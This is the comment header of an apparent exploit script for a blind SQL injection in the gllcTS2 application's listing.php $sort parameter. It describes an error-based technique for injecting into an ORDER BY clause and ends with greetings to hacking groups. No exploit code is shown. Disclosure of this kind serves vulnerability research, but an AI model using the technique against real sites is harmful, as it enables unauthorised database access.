#gllcTS2 (listing.php $sort) Remote Blind SQL Injection Exploit
#
######################
#
#Bug by: h0yt3r
#
##
###
##
#
#This one shows another vulnerability in the gllcTS2. (Thera are many with simple injections)
#Same Versions are affected.
#Also shows the conecpt of how to inject an ORDER BY statement via Blind Injection and
#WITHOUT benchmark(), means we produce an error if the IF statement returns TRUE.
#
#Gr33tz go to:
#b!zZ!t, ramon, thund3r, Free-Hack, Sys-Flaw and of course the neverdying h4ck-y0u Team
